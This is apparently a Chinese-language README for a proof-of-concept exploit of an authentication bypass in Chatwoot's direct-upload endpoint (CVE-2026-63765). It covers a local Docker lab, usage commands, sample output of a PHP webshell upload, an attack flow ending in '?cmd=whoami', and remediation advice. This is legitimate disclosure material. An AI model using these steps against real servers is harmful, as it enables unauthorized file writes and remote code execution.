概念验证(Proof of Concept),针对 Chatwoot 的 ActiveStorage Direct Upload 端点中的认证绕过漏洞,该漏洞可导致未认证的任意 blob 创建和任意文件写入——可能进而实现远程代码执行(RCE)。
本仓库严格用于教育和经授权的安全研究目的。
本仓库中的漏洞利用代码演示了一个真实漏洞。你不得将其用于任何你不拥有或未获得明确书面测试许可的系统。未经授权使用本代码可能违反你所在司法管辖区的计算机欺诈法律,包括但不限于《计算机欺诈与滥用法案》(CFAA)、《欧盟攻击信息系统指令》以及全球范围内的同等立法。
本仓库的作者对由此材料造成的任何滥用或损害不承担任何责任。
请负责任地使用。只攻击你自己拥有的系统。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-63765 |
| 厂商 | Chatwoot |
| 受影响版本 | Chatwoot < 4.16.0 |
| 修复版本 | Chatwoot 4.16.0 |
| CVSS 评分 | 9.8 严重 |
| CWE | CWE-306 — 关键功能缺少认证 |
| 攻击向量 | 网络(未认证,无需凭据) |
| 影响 | 在服务器存储后端上任意写入文件;若存储由支持 PHP 的 Web 服务器提供,则可导致 RCE |
存在漏洞的端点为:
POST /api/v1/accounts/:account_id/conversations/:conversation_id/direct_uploads
负责此路由的控制器直接继承自 Rails 的 ActiveStorage::DirectUploadsController。其祖先链中缺少 authenticate_user! 守卫,并且当 current_user 为 nil 时,ensure_current_account 前置操作会被短路。
这意味着任何未经身份验证的请求都可以:
ActiveStorage::Blob 记录。storage/ 路径由支持 PHP 的 Web 服务器提供服务的配置中,上传的文件可以被执行,从而导致远程代码执行。conversation display_id 是一个小的顺序整数,可以在几秒内被可靠地暴力破解。
.
├── poc.py # PoC exploit script
├── docker-compose.yaml # Vulnerable Chatwoot environment
├── .env # Environment variables for Chatwoot
└── README.md
本仓库包含一个开箱即用的 Docker Compose 环境,运行着存在漏洞的 Chatwoot 版本,用于本地测试。
requests 库(pip install requests)准备数据库(仅在首次搭建时运行一次):
docker compose run --rm rails bundle exec rails db:chatwoot_prepare
然后在后台启动所有服务:
docker compose up -d
Chatwoot 将在以下地址可用:http://localhost:3000
请等待 30–60 秒,以便所有服务完全初始化。
该漏洞利用需要数据库中至少存在一个现有会话。要创建一个会话,请在 http://localhost:3000 的 Chatwoot UI 中完成以下步骤:
account_id 和 conversation display_id 值写入数据库。为什么需要这样做? 该漏洞利用会暴力枚举
account_id和conversation display_id。如果没有现有会话,服务器不会返回任何有效的 200 响应,漏洞利用会正确地报告目标不存在漏洞。
python poc.py http://localhost:3000
python poc.py http://localhost:3000 my_payload.php
[*] Target : http://localhost:3000
[*] Payload: shell.php | 52 bytes | md5b64=...
[*] Step 1: unauthenticated POST to .../direct_uploads (bypassing authentication)...
[+] VULNERABLE: A blob was created WITHOUT authorization (account_id=1, conversation display_id=1)
[+] signed_id: eyJfcmFpbHMiO...
[*] Step 2: Upload the file using the signed URL...
[+] Arbitrary file write executed (HTTP 204) — file shell.php (52 bytes) is written to the server's storage backend.
[*] Step 3: Verification + Attempt to Access the File (RCE Phase)...
[+] VERIFIED: the content is available via http://localhost:3000/rails/active_storage/blobs/redirect/.../shell.php
[=] CONCLUSION: Unauthenticated arbitrary file write confirmed (CVE-2026-63765).
[=] File paths: http://localhost:3000/rails/active_storage/blobs/redirect/.../shell.php
[=] RCE: if the PHP payload and storage are handled by a web server with
[=] Executing scripts—open the path you found by adding ?cmd=whoami
Attacker Chatwoot Server
│ │
│ POST /api/v1/accounts/1/ │
│ conversations/1/direct_uploads │
│ { blob metadata } │
│ ─────────────────────────────────► │ ← No authentication check!
│ │
│ ◄──────────────────────────────── { signed_id, PUT URL, headers }
│ │
│ PUT <signed_url> │
│ [PHP webshell bytes] │
│ ─────────────────────────────────► │ ← File written to storage
│ │
│ GET /rails/active_storage/blobs/ │
│ redirect/<signed_id>/shell.php │
│ ─────────────────────────────────► │
│ ◄──────────────────────────────── 200 OK (file confirmed on server)
│ │
│ GET /storage/shell.php?cmd=whoami │
│ ─────────────────────────────────► │ ← RCE (if PHP-enabled web server)
│ ◄──────────────────────────────── www-data
docker compose down
要同时删除所有卷(清空数据库):
docker compose down -v
将 Chatwoot 更新至 4.16.0 或更高版本。该修复为 direct_uploads 端点添加了适当的身份验证保护,使未认证的请求收到 401 Unauthorized 响应。
如果无法立即更新,可考虑在反向代理(Nginx/Caddy)层面限制对 /api/v1/accounts/*/conversations/*/direct_uploads 路径的访问,直至补丁能够应用。
本仓库基于 MIT 许可证 发布,仅供教育目的使用。